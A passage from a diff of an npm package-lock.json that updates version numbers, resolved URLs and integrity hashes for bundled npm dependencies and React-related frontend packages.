"1.0.2", - "request": "2.81.0", + "request": "2.88.0", "retry": "0.12.0", "rimraf": "2.6.2", "safe-buffer": "5.1.2", @@ -9798,7 +9843,7 @@ "sorted-union-stream": "2.1.3", "ssri": "6.0.0", "stringify-package": "1.0.0", - "tar": "4.4.4", + "tar": "4.4.6", "text-table": "0.2.0", "tiny-relative-date": "1.3.0", "uid-number": "0.0.6", @@ -9807,7 +9852,7 @@ "unpipe": "1.0.0", "update-notifier": "2.5.0", "uuid": "3.3.2", - "validate-npm-package-license": "3.0.3", + "validate-npm-package-license": "3.0.4", "validate-npm-package-name": "3.0.0", "which": "1.3.1", "worker-farm": "1.6.0", @@ -9815,7 +9860,7 @@ }, "dependencies": { "JSONStream": { - "version": "1.3.3", + "version": "1.3.4", "bundled": true, "requires": { "jsonparse": "1.3.1", @@ -9840,6 +9885,16 @@ "humanize-ms": "1.2.1" } }, + "ajv": { + "version": "5.5.2", + "bundled": true, + "requires": { + "co": "4.6.0", + "fast-deep-equal": "1.1.0", + "fast-json-stable-stringify": "2.0.0", + "json-schema-traverse": "0.3.1" + } + }, "ansi-align": { "version": "2.0.0", "bundled": true, @@ -9887,11 +9942,14 @@ "bundled": true }, "asn1": { - "version": "0.2.3", - "bundled": true + "version": "0.2.4", + "bundled": true, + "requires": { + "safer-buffer": "2.1.2" + } }, "assert-plus": { - "version": "0.2.0", + "version": "1.0.0", "bundled": true }, "asynckit": { @@ -9899,11 +9957,11 @@ "bundled": true }, "aws-sign2": { - "version": "0.6.0", + "version": "0.7.0", "bundled": true }, "aws4": { - "version": "1.7.0", + "version": "1.8.0", "bundled": true }, "balanced-match": { @@ -9940,13 +9998,6 @@ "version": "3.5.1", "bundled": true }, - "boom": { - "version": "2.10.1", - "bundled": true, - "requires": { - "hoek": "2.16.3" - } - }, "boxen": { "version": "1.3.0", "bundled": true, @@ -9989,12 +10040,12 @@ "bundled": true }, "cacache": { - "version": "11.1.0", + "version": "11.2.0", "bundled": true, "requires": { "bluebird": "3.5.1", "chownr": "1.0.1", - "figgy-pudding": "3.2.0", + "figgy-pudding": "3.4.1", "glob": "7.1.2", "graceful-fs": "4.1.11", "lru-cache": "4.1.3", @@ -10038,7 +10089,7 @@ "bundled": true }, "ci-info": { - "version": "1.1.3", + "version": "1.4.0", "bundled": true }, "cidr-regex": { @@ -10064,7 +10115,7 @@ "version": "0.5.0", "bundled": true, "requires": { - "colors": "1.3.0", + "colors": "1.1.2", "object-assign": "4.1.1", "string-width": "2.1.1" } @@ -10123,7 +10174,7 @@ "bundled": true }, "colors": { - "version": "1.3.0", + "version": "1.1.2", "bundled": true, "optional": true }, @@ -10218,13 +10269,6 @@ "which": "1.3.1" } }, - "cryptiles": { - "version": "2.0.5", - "bundled": true, - "requires": { - "boom": "2.10.1" - } - }, "crypto-random-string": { "version": "1.0.0", "bundled": true @@ -10238,12 +10282,6 @@ "bundled": true, "requires": { "assert-plus": "1.0.0" - }, - "dependencies": { - "assert-plus": { - "version": "1.0.0", - "bundled": true - } } }, "debug": { @@ -10332,11 +10370,12 @@ } }, "ecc-jsbn": { - "version": "0.1.1", + "version": "0.1.2", "bundled": true, "optional": true, "requires": { - "jsbn": "0.1.1" + "jsbn": "0.1.1", + "safer-buffer": "2.1.2" } }, "editor": { @@ -10397,15 +10436,23 @@ } }, "extend": { - "version": "3.0.1", + "version": "3.0.2", "bundled": true }, "extsprintf": { "version": "1.3.0", "bundled": true }, + "fast-deep-equal": { + "version": "1.1.0", + "bundled": true + }, + "fast-json-stable-stringify": { + "version": "2.0.0", + "bundled": true + }, "figgy-pudding": { - "version": "3.2.0", + "version": "3.4.1", "bundled": true }, "find-npm-prefix": { @@ -10432,12 +10479,12 @@ "bundled": true }, "form-data": { - "version": "2.1.4", + "version": "2.3.2", "bundled": true, "requires": { "asynckit": "0.4.0", "combined-stream": "1.0.6", - "mime-types": "2.1.18" + "mime-types": "2.1.19" } }, "from2": { @@ -10556,12 +10603,6 @@ "bundled": true, "requires": { "assert-plus": "1.0.0" - }, - "dependencies": { - "assert-plus": { - "version": "1.0.0", - "bundled": true - } } }, "glob": { @@ -10605,25 +10646,15 @@ "bundled": true }, "har-schema": { - "version": "1.0.5", + "version": "2.0.0", "bundled": true }, "har-validator": { - "version": "4.2.1", + "version": "5.1.0", "bundled": true, "requires": { - "ajv": "4.11.8", - "har-schema": "1.0.5" - }, - "dependencies": { - "ajv": { - "version": "4.11.8", - "bundled": true, - "requires": { - "co": "4.6.0", - "json-stable-stringify": "1.0.1" - } - } + "ajv": "5.5.2", + "har-schema": "2.0.0" } }, "has-flag": { @@ -10634,22 +10665,8 @@ "version": "2.0.1", "bundled": true }, - "hawk": { - "version": "3.1.3", - "bundled": true, - "requires": { - "boom": "2.10.1", - "cryptiles": "2.0.5", - "hoek": "2.16.3", - "sntp": "1.0.9" - } - }, - "hoek": { - "version": "2.16.3", - "bundled": true - }, "hosted-git-info": { - "version": "2.6.0", + "version": "2.7.1", "bundled": true }, "http-cache-semantics": { @@ -10665,10 +10682,10 @@ } }, "http-signature": { - "version": "1.1.1", + "version": "1.2.0", "bundled": true, "requires": { - "assert-plus": "0.2.0", + "assert-plus": "1.0.0", "jsprim": "1.4.1", "sshpk": "1.14.2" } @@ -10696,7 +10713,7 @@ } }, "iferr": { - "version": "1.0.0", + "version": "1.0.2", "bundled": true }, "ignore-walk": { @@ -10740,7 +10757,7 @@ "read": "1.0.7", "read-package-json": "2.0.13", "semver": "5.5.0", - "validate-npm-package-license": "3.0.3", + "validate-npm-package-license": "3.0.4", "validate-npm-package-name": "3.0.0" } }, @@ -10767,7 +10784,7 @@ "version": "1.1.0", "bundled": true, "requires": { - "ci-info": "1.1.3" + "ci-info": "1.4.0" } }, "is-cidr": { @@ -10848,21 +10865,14 @@ "version": "0.2.3", "bundled": true }, - "json-stable-stringify": { - "version": "1.0.1", - "bundled": true, - "requires": { - "jsonify": "0.0.0" - } + "json-schema-traverse": { + "version": "0.3.1", + "bundled": true }, "json-stringify-safe": { "version": "5.0.1", "bundled": true }, - "jsonify": { - "version": "0.0.0", - "bundled": true - }, "jsonparse": { "version": "1.3.1", "bundled": true @@ -10875,12 +10885,6 @@ "extsprintf": "1.3.0", "json-schema": "0.2.3", "verror": "1.10.0" - }, - "dependencies": { - "assert-plus": { - "version": "1.0.0", - "bundled": true - } } }, "latest-version": { @@ -10902,7 +10906,7 @@ } }, "libcipm": { - "version": "2.0.0", + "version": "2.0.2", "bundled": true, "requires": { "bin-links": "1.1.2", @@ -10910,7 +10914,8 @@ "find-npm-prefix": "1.0.2", "graceful-fs": "4.1.11", "lock-verify": "2.0.2", - "npm-lifecycle": "2.0.3", + "mkdirp": "0.5.1", + "npm-lifecycle": "2.1.0", "npm-logical-tree": "1.2.1", "npm-package-arg": "6.1.0", "pacote": "8.1.6", @@ -10924,7 +10929,7 @@ "version": "4.0.1", "bundled": true, "requires": { - "figgy-pudding": "3.2.0", + "figgy-pudding": "3.4.1", "npm-registry-fetch": "3.1.1" }, "dependencies": { @@ -10933,7 +10938,7 @@ "bundled": true, "requires": { "bluebird": "3.5.1", - "figgy-pudding": "3.2.0", + "figgy-pudding": "3.4.1", "lru-cache": "4.1.3", "make-fetch-happen": "4.0.1", "npm-package-arg": "6.1.0" @@ -11061,7 +11066,7 @@ "bundled": true, "requires": { "agentkeepalive": "3.4.1", - "cacache": "11.1.0", + "cacache": "11.2.0", "http-cache-semantics": "3.8.1", "http-proxy-agent": "2.1.0", "https-proxy-agent": "2.2.1", @@ -11085,14 +11090,14 @@ } }, "mime-db": { - "version": "1.33.0", + "version": "1.35.0", "bundled": true }, "mime-types": { - "version": "2.1.18", + "version": "2.1.19", "bundled": true, "requires": { - "mime-db": "1.33.0" + "mime-db": "1.35.0" } }, "mimic-fn": { @@ -11184,7 +11189,7 @@ } }, "node-gyp": { - "version": "3.7.0", + "version": "3.8.0", "bundled": true, "requires": { "fstream": "1.0.11", @@ -11194,7 +11199,7 @@ "nopt": "3.0.6", "npmlog": "4.1.2", "osenv": "0.1.5", - "request": "2.81.0", + "request": "2.88.0", "rimraf": "2.6.2", "semver": "5.3.0", "tar": "2.2.1", @@ -11235,10 +11240,10 @@ "version": "2.4.0", "bundled": true, "requires": { - "hosted-git-info": "2.6.0", + "hosted-git-info": "2.7.1", "is-builtin-module": "1.0.0", "semver": "5.5.0", - "validate-npm-package-license": "3.0.3" + "validate-npm-package-license": "3.0.4" } }, "npm-audit-report": { @@ -11250,7 +11255,7 @@ } }, "npm-bundled": { - "version": "1.0.3", + "version": "1.0.5", "bundled": true }, "npm-cache-filename": { @@ -11265,12 +11270,12 @@ } }, "npm-lifecycle": { - "version": "2.0.3", + "version": "2.1.0", "bundled": true, "requires": { "byline": "5.0.0", "graceful-fs": "4.1.11", - "node-gyp": "3.7.0", + "node-gyp": "3.8.0", "resolve-from": "4.0.0", "slide": "1.1.6", "uid-number": "0.0.6", @@ -11286,18 +11291,18 @@ "version": "6.1.0", "bundled": true, "requires": { - "hosted-git-info": "2.6.0", + "hosted-git-info": "2.7.1", "osenv": "0.1.5", "semver": "5.5.0", "validate-npm-package-name": "3.0.0" } }, "npm-packlist": { - "version": "1.1.10", + "version": "1.1.11", "bundled": true, "requires": { "ignore-walk": "3.0.1", - "npm-bundled": "1.0.3" + "npm-bundled": "1.0.5" } }, "npm-pick-manifest": { @@ -11317,7 +11322,7 @@ } }, "npm-registry-client": { - "version": "8.5.1", + "version": "8.6.0", "bundled": true, "requires": { "concat-stream": "1.6.2", @@ -11326,7 +11331,7 @@ "npm-package-arg": "6.1.0", "npmlog": "4.1.2", "once": "1.4.0", - "request": "2.81.0", + "request": "2.88.0", "retry": "0.10.1", "safe-buffer": "5.1.2", "semver": "5.5.0", @@ -11480,7 +11485,7 @@ "bundled": true }, "oauth-sign": { - "version": "0.8.2", + "version": "0.9.0", "bundled": true }, "object-assign": { @@ -11495,7 +11500,7 @@ } }, "opener": { - "version": "1.4.3", + "version": "1.5.0", "bundled": true }, "os-homedir": { @@ -11560,7 +11565,7 @@ "bundled": true, "requires": { "bluebird": "3.5.1", - "cacache": "11.1.0", + "cacache": "11.2.0", "get-stream": "3.0.0", "glob": "7.1.2", "lru-cache": "4.1.3", @@ -11571,7 +11576,7 @@ "mkdirp": "0.5.1", "normalize-package-data": "2.4.0", "npm-package-arg": "6.1.0", - "npm-packlist": "1.1.10", + "npm-packlist": "1.1.11", "npm-pick-manifest": "2.1.0", "osenv": "0.1.5", "promise-inflight": "1.0.1", @@ -11581,7 +11586,7 @@ "safe-buffer": "5.1.2", "semver": "5.5.0", "ssri": "6.0.0", - "tar": "4.4.4", + "tar": "4.4.6", "unique-filename": "1.1.0", "which": "1.3.1" } @@ -11612,7 +11617,7 @@ "bundled": true }, "performance-now": { - "version": "0.2.0", + "version": "2.1.0", "bundled": true }, "pify": { @@ -11671,6 +11676,10 @@ "version": "1.0.2", "bundled": true }, + "psl": { + "version": "1.1.29", + "bundled": true + }, "pump": { "version": "3.0.0", "bundled": true, @@ -11707,7 +11716,7 @@ "bundled": true }, "qs": { - "version": "6.4.0", + "version": "6.5.2", "bundled": true }, "query-string": { @@ -11826,29 +11835,27 @@ } }, "request": { - "version": "2.81.0", + "version": "2.88.0", "bundled": true, "requires": { - "aws-sign2": "0.6.0", - "aws4": "1.7.0", + "aws-sign2": "0.7.0", + "aws4": "1.8.0", "caseless": "0.12.0", "combined-stream": "1.0.6", - "extend": "3.0.1", + "extend": "3.0.2", "forever-agent": "0.6.1", - "form-data": "2.1.4", - "har-validator": "4.2.1", - "hawk": "3.1.3", - "http-signature": "1.1.1", + "form-data": "2.3.2", + "har-validator": "5.1.0", + "http-signature": "1.2.0", "is-typedarray": "1.0.0", "isstream": "0.1.2", "json-stringify-safe": "5.0.1", - "mime-types": "2.1.18", - "oauth-sign": "0.8.2", - "performance-now": "0.2.0", - "qs": "6.4.0", + "mime-types": "2.1.19", + "oauth-sign": "0.9.0", + "performance-now": "2.1.0", + "qs": "6.5.2", "safe-buffer": "5.1.2", - "stringstream": "0.0.6", - "tough-cookie": "2.3.4", + "tough-cookie": "2.4.3", "tunnel-agent": "0.6.0", "uuid": "3.3.2" } @@ -11941,13 +11948,6 @@ "version": "4.0.1", "bundled": true }, - "sntp": { - "version": "1.0.9", - "bundled": true, - "requires": { - "hoek": "2.16.3" - } - }, "socks": { "version": "2.2.0", "bundled": true, @@ -12032,21 +12032,15 @@ "version": "1.14.2", "bundled": true, "requires": { - "asn1": "0.2.3", + "asn1": "0.2.4", "assert-plus": "1.0.0", "bcrypt-pbkdf": "1.0.2", "dashdash": "1.14.1", - "ecc-jsbn": "0.1.1", + "ecc-jsbn": "0.1.2", "getpass": "0.1.7", "jsbn": "0.1.1", "safer-buffer": "2.1.2", "tweetnacl": "0.14.5" - }, - "dependencies": { - "assert-plus": { - "version": "1.0.0", - "bundled": true - } } }, "ssri": { @@ -12113,10 +12107,6 @@ "version": "1.0.0", "bundled": true }, - "stringstream": { - "version": "0.0.6", - "bundled": true - }, "strip-ansi": { "version": "3.0.1", "bundled": true, @@ -12140,7 +12130,7 @@ } }, "tar": { - "version": "4.4.4", + "version": "4.4.6", "bundled": true, "requires": { "chownr": "1.0.1", @@ -12190,9 +12180,10 @@ "bundled": true }, "tough-cookie": { - "version": "2.3.4", + "version": "2.4.3", "bundled": true, "requires": { + "psl": "1.1.29", "punycode": "1.4.1" } }, @@ -12285,7 +12276,7 @@ "bundled": true }, "validate-npm-package-license": { - "version": "3.0.3", + "version": "3.0.4", "bundled": true, "requires": { "spdx-correct": "3.0.0", @@ -12306,12 +12297,6 @@ "assert-plus": "1.0.0", "core-util-is": "1.0.2", "extsprintf": "1.3.0" - }, - "dependencies": { - "assert-plus": { - "version": "1.0.0", - "bundled": true - } } }, "wcwidth": { @@ -12639,9 +12624,9 @@ "dev": true }, "opn": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/opn/-/opn-5.3.0.tgz", - "integrity": "sha512-bYJHo/LOmoTd+pfiYhfZDnf9zekVJrY+cnS2a5F2x+w5ppvTqObojTP7WiFG+kVZs9Inw+qQ/lw7TroWwhdd2g==", + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/opn/-/opn-5.4.0.tgz", + "integrity": "sha512-YF9MNdVy/0qvJvDtunAOzFw9iasOQHpVthTCvGzxt61Il64AYSGdK+rYwld7NAfk9qJ7dt+hymBNSc9LNYS+Sw==", "dev": true, "requires": { "is-wsl": "1.1.0" @@ -12734,12 +12719,24 @@ "object-assign": "4.1.1" } }, + "p-defer": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/p-defer/-/p-defer-1.0.0.tgz", + "integrity": "sha1-n26xgvbJqozXQwBKfU+WsZaw+ww=", + "dev": true + }, "p-finally": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz", "integrity": "sha1-P7z7FbiZpEEjs0ttzBi3JDNqLK4=", "dev": true }, + "p-is-promise": { + "version": "1.1.0", + "resolved": "http://registry.npmjs.org/p-is-promise/-/p-is-promise-1.1.0.tgz", + "integrity": "sha1-nJRWmJ6fZYgBewQ01WCXZ1w9oF4=", + "dev": true + }, "p-limit": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-1.3.0.tgz", @@ -12801,7 +12798,7 @@ }, "readable-stream": { "version": "2.3.6", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "resolved": "http://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { @@ -12836,7 +12833,7 @@ }, "parse-asn1": { "version": "5.1.1", - "resolved": "https://registry.npmjs.org/parse-asn1/-/parse-asn1-5.1.1.tgz", + "resolved": "http://registry.npmjs.org/parse-asn1/-/parse-asn1-5.1.1.tgz", "integrity": "sha512-KPx7flKXg775zZpnp9SxJlz00gTd4BmJ2yJufSc44gMCRrRQ7NSzAcSJQfifuOLgW6bEi+ftrALtsgALeB2Adw==", "dev": true, "requires": { @@ -12844,7 +12841,7 @@ "browserify-aes": "1.2.0", "create-hash": "1.2.0", "evp_bytestokey": "1.0.3", - "pbkdf2": "3.0.16" + "pbkdf2": "3.0.17" } }, "parse-glob": { @@ -12962,9 +12959,9 @@ "dev": true }, "pbkdf2": { - "version": "3.0.16", - "resolved": "https://registry.npmjs.org/pbkdf2/-/pbkdf2-3.0.16.tgz", - "integrity": "sha512-y4CXP3thSxqf7c0qmOF+9UeOTrifiVTIM+u7NWlq+PRsHbr7r7dpCmvzrZxa96JJUNi0Y5w9VqG5ZNeCVMoDcA==", + "version": "3.0.17", + "resolved": "https://registry.npmjs.org/pbkdf2/-/pbkdf2-3.0.17.tgz", + "integrity": "sha512-U/il5MsrZp7mGg3mSQfn742na2T+1/vHDCG5/iTI3X9MKUuYUZVLQhyRsg06mCgDBTd57TxzgZt7P+fYfjRLtA==", "dev": true, "requires": { "create-hash": "1.2.0", @@ -13051,9 +13048,9 @@ "dev": true }, "portfinder": { - "version": "1.0.16", - "resolved": "https://registry.npmjs.org/portfinder/-/portfinder-1.0.16.tgz", - "integrity": "sha512-icBXCFQxzlK2PMepOM0QeEdPPFSLAaXXeuKOv5AClJlMy1oVCBrkDGJ12IZYesI/BF8mpeVco3vRCmgeBb4+hw==", + "version": "1.0.17", + "resolved": "https://registry.npmjs.org/portfinder/-/portfinder-1.0.17.tgz", + "integrity": "sha512-syFcRIRzVI1BoEFOCaAiizwDolh1S1YXSodsVhncbhjzjZQulhczNRbqnUl9N31Q4dKGOXsNDqxC2BWBgSMqeQ==", "dev": true, "requires": { "async": "1.5.2", @@ -13213,14 +13210,6 @@ "integrity": "sha1-4mDHj2Fhzdmw5WzD4Khd4Xx6V74=", "dev": true }, - "promise": { - "version": "7.3.1", - "resolved": "https://registry.npmjs.org/promise/-/promise-7.3.1.tgz", - "integrity": "sha1-BktyYCsY+Q8pGSuLG8QY/9Hr078=", - "requires": { - "asap": "2.0.6" - } - }, "promise-inflight": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/promise-inflight/-/promise-inflight-1.0.1.tgz", @@ -13241,7 +13230,7 @@ "resolved": "https://registry.npmjs.org/prop-types-extra/-/prop-types-extra-1.1.0.tgz", "integrity": "sha512-QFyuDxvMipmIVKD2TwxLVPzMnO4e5oOf1vr3tJIomL8E7d0lr6phTHd5nkPhFIzTD1idBLLEPeylL9g+rrTzRg==", "requires": { - "react-is": "16.4.2", + "react-is": "16.5.2", "warning": "3.0.0" } }, @@ -13278,19 +13267,28 @@ "psl": { "version": "1.1.20", "resolved": "https://registry.npmjs.org/psl/-/psl-1.1.20.tgz", - "integrity": "sha1-NjOC8zI4iICxVeJQY0WVcIQojp0=" + "integrity": "sha512-JWUi+8DYZnEn9vfV0ppHFLBP0Lk7wxzpobILpBEMDV4nFket4YK+6Rn1Zn6DHmD9PqqsV96AM6l4R/2oirzkgw==" }, "public-encrypt": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/public-encrypt/-/public-encrypt-4.0.2.tgz", - "integrity": "sha512-4kJ5Esocg8X3h8YgJsKAuoesBgB7mqH3eowiDzMUPKiRDDE7E/BqqZD1hnTByIaAFiwAw246YEltSq7tdrOH0Q==", + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/public-encrypt/-/public-encrypt-4.0.3.tgz", + "integrity": "sha512-zVpa8oKZSz5bTMTFClc1fQOnyyEzpl5ozpi1B5YcvBrdohMjH2rfsBtyXcuNuwjsDIXmBYlF2N5FlJYhR29t8Q==", "dev": true, "requires": { "bn.js": "4.11.8", "browserify-rsa": "4.0.1", "create-hash": "1.2.0", "parse-asn1": "5.1.1", - "randombytes": "2.0.6" + "randombytes": "2.0.6", + "safe-buffer": "5.1.2" + }, + "dependencies": { + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", + "dev": true + } } }, "pump": { @@ -13356,15 +13354,15 @@ "dev": true }, "querystringify": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.0.0.tgz", - "integrity": "sha512-eTPo5t/4bgaMNZxyjWx6N2a6AuE0mq51KWvpc7nU/MAqixcI6v6KrGUKES0HaomdnolQBBXU/++X6/QQ9KL4tw==", + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.1.0.tgz", + "integrity": "sha512-sluvZZ1YiTLD5jsqZcDmFyV2EwToyXZBfpoVOmktMmW+VEnhgakFHnasVph65fOjGPTWN0Nw3+XQaSeMayr0kg==", "dev": true }, "randomatic": { "version": "1.1.7", "resolved": "https://registry.npmjs.org/randomatic/-/randomatic-1.1.7.tgz", - "integrity": "sha1-x6vpzIuHwLqodrGf3oP9RkeX44w=", + "integrity": "sha512-D5JUjPyJbaJDkuAazpVnSfVkLlpeO3wDlPROTMLGKG1zMFNFRgrciKo1ltz/AzNTkqE0HzDx655QOL51N06how==", "dev": true, "optional": true, "requires": { @@ -13455,23 +13453,23 @@ } }, "rc-progress": { - "version": "2.2.5", - "resolved": "https://registry.npmjs.org/rc-progress/-/rc-progress-2.2.5.tgz", - "integrity": "sha1-5h0FRL+dQgjlujL8UJYhWef5UqM=", + "version": "2.2.6", + "resolved": "https://registry.npmjs.org/rc-progress/-/rc-progress-2.2.6.tgz", + "integrity": "sha512-73Ul9WrWf474q0ze+XblpcR8q2No0tybHt+zdGXYyQ7fUZy4b+I5dUQcoxr9UXY6W5Ele9ZsPWJWHSDz/IAOUw==", "requires": { "babel-runtime": "6.25.0", "prop-types": "15.6.2" } }, "react": { - "version": "16.4.2", - "resolved": "https://registry.npmjs.org/react/-/react-16.4.2.tgz", - "integrity": "sha512-dMv7YrbxO4y2aqnvA7f/ik9ibeLSHQJTI6TrYAenPSaQ6OXfb+Oti+oJiy8WBxgRzlKatYqtCjphTgDSCEiWFg==", + "version": "16.5.2", + "resolved": "https://registry.npmjs.org/react/-/react-16.5.2.tgz", + "integrity": "sha512-FDCSVd3DjVTmbEAjUNX6FgfAmQ+ypJfHUsqUJOYNCBUp1h8lqmtC+0mXJ+JjsWx4KAVTkk1vKd1hLQPvEviSuw==", "requires": { - "fbjs": "0.8.17", "loose-envify": "1.3.1", "object-assign": "4.1.1", - "prop-types": "15.6.2" + "prop-types": "15.6.2", + "schedule": "0.5.0" } }, "react-addons-test-utils": { @@ -13492,22 +13490,32 @@ } }, "react-bootstrap": { - "version": "0.32.1", - "resolved": "https://registry.npmjs.org/react-bootstrap/-/react-bootstrap-0.32.1.tgz", - "integrity": "sha512-RbfzKUbsukWsToWqGHfCCyMFq9QQI0TznutdyxyJw6dih2NvIne25Mrssg8LZsprqtPpyQi8bN0L0Fx3fUsL8Q==", + "version": "0.32.4", + "resolved": "https://registry.npmjs.org/react-bootstrap/-/react-bootstrap-0.32.4.tgz", + "integrity": "sha512-xj+JfaPOvnvr3ow0aHC7Y3HaBKZNR1mm361hVxVzVX3fcdJNIrfiodbQ0m9nLBpNxiKG6FTU2lq/SbTDYT2vew==", "requires": { - "babel-runtime": "6.25.0", + "@babel/runtime-corejs2": "7.1.2", "classnames": "2.2.5", "dom-helpers": "3.3.1", - "invariant": "2.2.2", - "keycode": "2.1.9", + "invariant": "2.2.4", + "keycode": "2.2.0", "prop-types": "15.6.2", "prop-types-extra": "1.1.0", "react-overlays": "0.8.3", "react-prop-types": "0.4.0", - "react-transition-group": "2.4.0", - "uncontrollable": "4.1.0", + "react-transition-group": "2.5.0", + "uncontrollable": "5.1.0", "warning": "3.0.0" + }, + "dependencies": { + "invariant": { + "version": "2.2.4", + "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz", + "integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==", + "requires": { + "loose-envify": "1.3.1" + } + } } }, "react-copy-to-clipboard": { @@ -13537,14 +13545,14 @@ } }, "react-dom": { - "version": "16.4.2", - "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-16.4.2.tgz", - "integrity": "sha512-Usl73nQqzvmJN+89r97zmeUpQDKDlh58eX6Hbs/ERdDHzeBzWy+ENk7fsGQ+5KxArV1iOFPT46/VneklK9zoWw==", + "version": "16.5.2", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-16.5.2.tgz", + "integrity": "sha512-RC8LDw8feuZOHVgzEf7f+cxBr/DnKdqp56VU0lAs1f4UfKc4cU8wU4fTq/mgnvynLQo8OtlPC19NUFh/zjZPuA==", "requires": { - "fbjs": "0.8.17", "loose-envify": "1.3.1", "object-assign": "4.1.1", - "prop-types": "15.6.2" + "prop-types": "15.6.2", + "schedule": "0.5.0" } }, "react-fa": { @@ -13575,9 +13583,9 @@ } }, "react-hot-loader": { - "version": "4.3.4", - "resolved": "https://registry.npmjs.org/react-hot-loader/-/react-hot-loader-4.3.4.tgz", - "integrity": "sha512-LlKjtHq+RhDq9xm6crXojbkzrEvli5F4/RaeJ//XtDWrwwsAHDjEqKfZZiPCxv7gWV2cxE3YE8TXeE9BDzLqOA==", + "version": "4.3.11", + "resolved": "https://registry.npmjs.org/react-hot-loader/-/react-hot-loader-4.3.11.tgz", + "integrity": "sha512-T0G5jURyTsFLoiW6MTr5Q35UHC/B2pmYJ7+VBjk8yMDCEABRmCGy4g6QwxoB4pWg4/xYvVTa/Pbqnsgx/+NLuA==", "dev": true, "requires": { "fast-levenshtein": "2.0.6", @@ -13589,9 +13597,9 @@ } }, "react-is": { - "version": "16.4.2", - "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.4.2.tgz", - "integrity": "sha512-rI3cGFj/obHbBz156PvErrS5xc6f1eWyTwyV4mo0vF2lGgXgS+mm7EKD5buLJq6jNgIagQescGSVG2YzgXt8Yg==" + "version": "16.5.2", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.5.2.tgz", + "integrity": "sha512-hSl7E6l25GTjNEZATqZIuWOgSnpXb3kD0DVCujmg46K5zLxsbiKaaT6VO9slkSBDPZfYs30lwfJwbOFOnoEnKQ==" }, "react-json-tree": { "version": "0.11.0", @@ -13604,9 +13612,9 @@ } }, "react-jsonschema-form": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/react-jsonschema-form/-/react-jsonschema-form-1.0.4.tgz", - "integrity": "sha512-G9ZjsoEZoWDDCRH6ATSI5jiFbnHoyoljng8u2X3eGxhg44snzcuXLHcm6qNHmLXhPrhQ8/9zCRCI72Oo5L/tkw==", + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/react-jsonschema-form/-/react-jsonschema-form-1.0.5.tgz", + "integrity": "sha512-idnHVkOtRDspajpc4+IfLx9gLCnqJc5zZqEqUoc7SzjSVdCRAMaxT5Qr5lPdgzb8mRcJSXaXI+qwlVfKScrLBg==", "requires": { "ajv": "5.5.2", "babel-runtime": "6.26.0", @@ -13656,7 +13664,7 @@ "dom-helpers": "3.3.1", "prop-types": "15.6.2", "prop-types-extra": "1.1.0", - "react-transition-group": "2.4.0", + "react-transition-group": "2.5.0", "warning": "3.0.0" } }, @@ -13786,14 +13794,24 @@ } }, "react-transition-group": { - "version": "2.4.0", - "resolved": "https://registry.npmjs.org/react-transition-group/-/react-transition-group-2.4.0.tgz", - "integrity": "sha512-Xv5d55NkJUxUzLCImGSanK8Cl/30sgpOEMGc5m86t8+kZwrPxPCPcFqyx83kkr+5Lz5gs6djuvE5By+gce+VjA==", + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/react-transition-group/-/react-transition-group-2.5.0.tgz", + "integrity": "sha512-qYB3JBF+9Y4sE4/Mg/9O6WFpdoYjeeYqx0AFb64PTazVy8RPMiE3A47CG9QmM4WJ/mzDiZYslV+Uly6O1Erlgw==", "requires": { "dom-helpers": "3.3.1", - "loose-envify": "1.3.1", + "loose-envify": "1.4.0", "prop-types": "15.6.2", "react-lifecycles-compat": "3.0.4" + }, + "dependencies": { + "loose-envify": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", + "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", + "requires": { + "js-tokens": "3.0.2" + } + } } }, "read-pkg": { @@ -13955,19 +13973,10 @@ "safe-regex": "1.1.0" } }, - "regexp.prototype.flags": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.2.0.tgz", - "integrity": "sha512-ztaw4M1VqgMwl9HlPpOuiYgItcHlunW0He2fE6eNfT6E/CF2FtYi9ofOYe4mKntstYk0Fyh/rDRBdS3AnxjlrA==", - "dev": true, - "requires": { - "define-properties": "1.1.3" - } - }, "regexpp": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/regexpp/-/regexpp-2.0.0.tgz", - "integrity": "sha512-g2FAVtR8Uh8GO1Nv5wpxW7VFVwHcCEr4wyA8/MHiRkO8uHoR5ntAA8Uq3P1vvMTX/BeQiRVSpDGLd+Wn5HNOTA==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/regexpp/-/regexpp-2.0.1.tgz", + "integrity": 